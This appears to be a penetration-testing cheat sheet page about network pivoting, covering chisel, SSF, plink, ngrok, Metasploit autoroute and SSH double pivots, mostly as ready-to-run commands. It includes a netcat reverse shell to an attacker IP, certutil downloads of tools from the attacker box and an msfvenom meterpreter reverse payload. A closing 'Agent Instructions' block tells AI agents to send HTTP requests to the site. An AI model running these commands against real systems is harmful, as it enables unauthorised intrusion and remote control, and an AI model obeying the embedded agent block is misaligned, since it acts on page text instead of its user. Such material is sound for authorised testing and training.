# Pivoting

## Nmap pivoting

Use nmap standalone binary to scan other machines on the internal network. This is the best option to scan large networks without proxy all the traffic.&#x20;

{% embed url="<https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/nmap>" %}

## Pivoting with [weevely ](https://github.com/epinna/weevely3)via webshell

```
https://github.com/epinna/weevely3

:net_proxy - Run local proxy to pivot HTTP/HTTPS browsing through the target.
:net_scan  - TCP Port scan.
```

## [ngrok](https://ngrok.com/)

```
vim ~/.ngrok2/ngrok.yml

tunnels:
        http1:
                addr: 8080
                proto: http

        tcp1:
                addr: 8181
                proto: tcp

        tcp2:
                addr: 8282
                proto: tcp

./ngrok start -all
```

## Chisel

Chisel is a fast TCP/UDP tunnel, transported over HTTP, secured via SSH. Single executable including both client and server. Written in Go (golang). Chisel is mainly useful for passing through firewalls, though it can also be used to provide a secure endpoint into your network.

{% embed url="<https://github.com/jpillora/chisel>" %}

```
--pivoting remote service--
Kali box:   10.10.14.10 
Target box: 10.10.10.9 

kali:> ./chisel server -p 8000 --host 0.0.0.0 --reverse -v 
target box:> chisel_windows.exe client 10.10.14.10:8000 R:8081:10.10.10.9:81
kali:> curl localhost:8001

target box:> chisel_windows.exe client 10.10.14.10:8000 R:8445:10.10.10.9:445
kali :> nmap -sT -Pn 127.0.0.1 -p 8445 -v

--socks tunnel--
kali:> ./chisel server -p 8000 --reverse -v
target:> chisel_windows.exe client 10.10.14.10:8000 R:8001:127.0.0.1:9001
target:> chisel_windows.exe server -p 9001 --socks5
kali:> ./chisel client localhost:8001 socks

kali:> vim /etc/proxychains
socks5 127.0.0.1 1080

proxychains curl 10.10.10.9:x
```

## &#x20;[ssf](https://github.com/securesocketfunneling/ssf)

Secure Socket Funneling (SSF) is a network tool and toolkit. It provides simple and efficient ways to forward data from multiple sockets (TCP or UDP) through a single secure TLS tunnel to a remote computer.

1\. We need to upload the certifications into the target machine\
2\. Download the windows and Linux binaries from GitHub repository\
3\. Execute the ssfd (server) on the Linux side

```
./ssfd
[2019-09-03T10:34:41-04:00] [info] [config] [tls] CA cert path: <file: ./certs/trusted/ca.crt>
[2019-09-03T10:34:41-04:00] [info] [config] [tls] cert path: <file: ./certs/certificate.crt>
[2019-09-03T10:34:41-04:00] [info] [config] [tls] key path: <file: ./certs/private.key>
[2019-09-03T10:34:41-04:00] [info] [config] [tls] key password: <>
[2019-09-03T10:34:41-04:00] [info] [config] [tls] dh path: <file: ./certs/dh4096.pem>
[2019-09-03T10:34:41-04:00] [info] [config] [tls] cipher suite: <DHE-RSA-AES256-GCM-SHA384>
[2019-09-03T10:34:41-04:00] [info] [config] [http proxy] <None>
[2019-09-03T10:34:41-04:00] [info] [config] [socks proxy] <None>
[2019-09-03T10:34:41-04:00] [info] [config] [circuit] <None>
[2019-09-03T10:34:41-04:00] [info] [ssfd] listening on <*:8011>
[2019-09-03T10:34:41-04:00] [info] [ssfd] running (Ctrl + C to stop)
```

4\. Upload the certificates and ssf client into the target machine (windows)

```
certutil.exe -urlcache -split -f http://10.10.14.10/ssf_windows/ssf.exe ssf.exe
certutil.exe -urlcache -split -f http://10.10.14.10/ssf_windows/certs.zip certs.zip

Download 7zip command line
https://www.7-zip.org/a/7za920.zip

:> 7za E certs.zip

./ssf -g -F 1080 -Y 1111 -L 172.19.0.4:2222:10.10.14.3:2222 -L 172.19.0.4:3333:10.10.14.3:3333 10.10.14.3
```

On target host I will start the client, telling it to connect back to my box. I’ll use the following options:

**-g** - allow gateway ports. This allows client to bind local sockets to address besides localhost.\
&#x20;**-F 1080** - This runs a socks proxy on the server on port 1080.\
&#x20;**-Y 1111** - This opens local port 1111 as a shell on the client.\
&#x20;**-L 172.19.0.4:2222:10.10.14.3:2222 and -L 172.19.0.4:3333:10.10.14.3:3333** - These will open listeners on the target machine that will forwards back to my attacker box. This will come in handy when I want to exploit further machines that can’t talk to my attacker box directly.

```
--socks5--
ssf.exe -g -F 1080 -Y 1111 10.10.14.10

kali:> vim /etc/proxychains
socks5 127.0.0.1 1080

proxychains curl 10.10.10.9:81
```

Reference: <https://0xdf.gitlab.io/2020/08/10/tunneling-with-chisel-and-ssf-update.html>

## Plink.exe

```
:> service ssh restart
:> netstat -antp | grep 22
:> adduser pp
:> userdel –r pp (to delete the created user)

nc.exe 10.10.14.10 4444 -e cmd.exe
plink.exe -ssh pp@10.10.14.10 -R 3306:localhost:3306
plink.exe -l pp -R 445:127.0.0.1:445 10.10.14.10

--smb--
plink -R 445:localhost:445 -pw pp pp@10.10.14.10 -N
plink.exe -R 8081:localhost:445 pp@10.10.14.10 -N -v
```

Ensure that kali linux is allowing port-forwarding:

```
vim /etc/ssh/sshd_config
GatewayPorts yes

Reference: https://hackso.me/bighead-htb-walkthrough/
```

{% embed url="<https://ironhackers.es/en/cheatsheet/port-forwarding-cheatsheet/>" %}

{% embed url="<https://www.cybrary.it/0p3n/pivot-network-port-forwardingredirection-hands-look/>" %}

{% embed url="<https://hackso.me/bighead-htb-walkthrough/>" %}

## Metasploit tunnel

Create the payload

```
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.16 LPORT=443 -f exe -o meterpreter.exe
```

Start the listener

```
msfconsole
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.1.16
set LPORT 443
exploit

--or--
handler -H 0.0.0.0 -P 443 -p windows/meterpreter/reverse_tcp
```

Type "background" to put the section in the 2nd plane

Add the route and session (1)

```
route add 10.10.10.9 255.255.255.0 1
```

&#x20;Verify the route: **route print**

Create the socks4 proxy

```
use auxiliary/server/socks4a
set SRVHOST 127.0.0.1
run
```

Configure proxychains

```
vim /etc/proxychains.conf
Edit the ProxyList at the bottom of the file:
socks4   127.0.0.1   1080
```

Run your commands

```
proxychains nmap -Pn -sT -p445,3389 10.0.0.10
proxychains rdesktop 10.0.0.10
proxychains firefox 10.0.0.10
```

## **Auto-route MSF (double pivot)**

Imagine you have "www" access to a web-server located at the DMZ. With this technique, you can pivot through the infrastructure easily via Internet without exposing ports in your home-router.

```
:> ifconfig
:> run autoroute -s ip/mask
```

![](https://4052868066-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MWd-VcvRHVgUtkahm85%2F-MXK3KSNqZ-di0fOYDsW%2F-MXK8jJAkaMz1vY8JQZN%2Fimage.png?alt=media\&token=c3efe4e5-24e6-4e34-a61c-e09e4557e10c)

```
CTRL+Z

:> search socks4
:> run (1080)
```

![](https://4052868066-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MWd-VcvRHVgUtkahm85%2F-MXK3KSNqZ-di0fOYDsW%2F-MXK8qzrwJ_SToApX-55%2Fimage.png?alt=media\&token=4b1a213e-88b9-428c-bfc6-bdd6bcd770d5)

```
search exploit
run
```

## **Double pivoting with proxychains**

```
First, create a dynamic port forwarding through the first network:
ssh -f -N -D 9050 root@10.1.2.1

Edit /etc/proxychains.conf and add as default gateway:
socks4 127.0.0.1 9050

Use the proxy to create a second dynamic port forward to the second network:
proxychains ssh -f -N -D 10050 root@10.1.2.1 -p 22

Edit again /etc/proxychains.conf and add as default gateway:
socks4 127.0.0.1 10050

You can now use proxychains to pivot to the target network:
proxychains nmap -sTV -n -PN 10.1.2.1 -254
```

## Ligolo-ng : Tunneling like a VPN

{% embed url="<https://github.com/nicocha30/ligolo-ng>" %}

## **Pivoting references**

{% embed url="<https://pentest.blog/explore-hidden-networks-with-double-pivoting/>" %}

{% embed url="<https://arvandy.com/oscp-third-week/>" %}

##


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://gitbook.seguranca-informatica.pt/cheat-sheet-1/stuff/pivoting.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
